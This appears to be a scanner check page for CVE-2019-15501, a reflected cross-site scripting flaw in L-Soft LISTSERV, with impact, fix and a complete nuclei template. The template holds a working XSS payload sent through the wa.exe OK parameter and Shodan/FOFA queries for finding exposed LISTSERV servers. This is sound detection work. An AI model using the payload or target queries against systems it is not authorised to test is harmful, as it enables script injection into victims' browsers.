L-Soft LISTSERV <16.5-2018a - Cross-Site Scripting

mediumseverity

6.1CVSS score

8.1%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

L-Soft LISTSERV before 16.5-2018a contains a reflected cross-site scripting vulnerability via the /scripts/wa.exe OK parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.

Fix

Upgrade to a version of L-Soft LISTSERV that is higher than 16.5-2018a to mitigate the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}/scripts/wa.exe?OK=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" and "LISTSERV" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2019-15501 -u <target>

The full check

id: CVE-2019-15501

info:
  name: L-Soft LISTSERV <16.5-2018a - Cross-Site Scripting
  author: LogicalHunter,arafatansari
  severity: medium
  description: |
    L-Soft LISTSERV before 16.5-2018a contains a reflected cross-site scripting vulnerability via the /scripts/wa.exe OK parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
  remediation: |
    Upgrade to a version of L-Soft LISTSERV that is higher than 16.5-2018a to mitigate the XSS vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/47302
    - http://www.lsoft.com/manuals/16.5/LISTSERV16.5-2018a_WhatsNew.pdf
    - https://nvd.nist.gov/vuln/detail/CVE-2019-15501
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-15501
    cwe-id: CWE-79
    epss-score: 0.08145
    epss-percentile: 0.94894
    cpe: cpe:2.3:a:lsoft:listserv:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: lsoft
    product: listserv
    shodan-query:
      - http.html:"LISTSERV"
      - http.html:"listserv"
    fofa-query: body="listserv"
  tags: cve2019,cve,xss,listserv,edb,lsoft,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/scripts/wa.exe?OK=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'
          - 'LISTSERV'
        case-insensitive: true
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from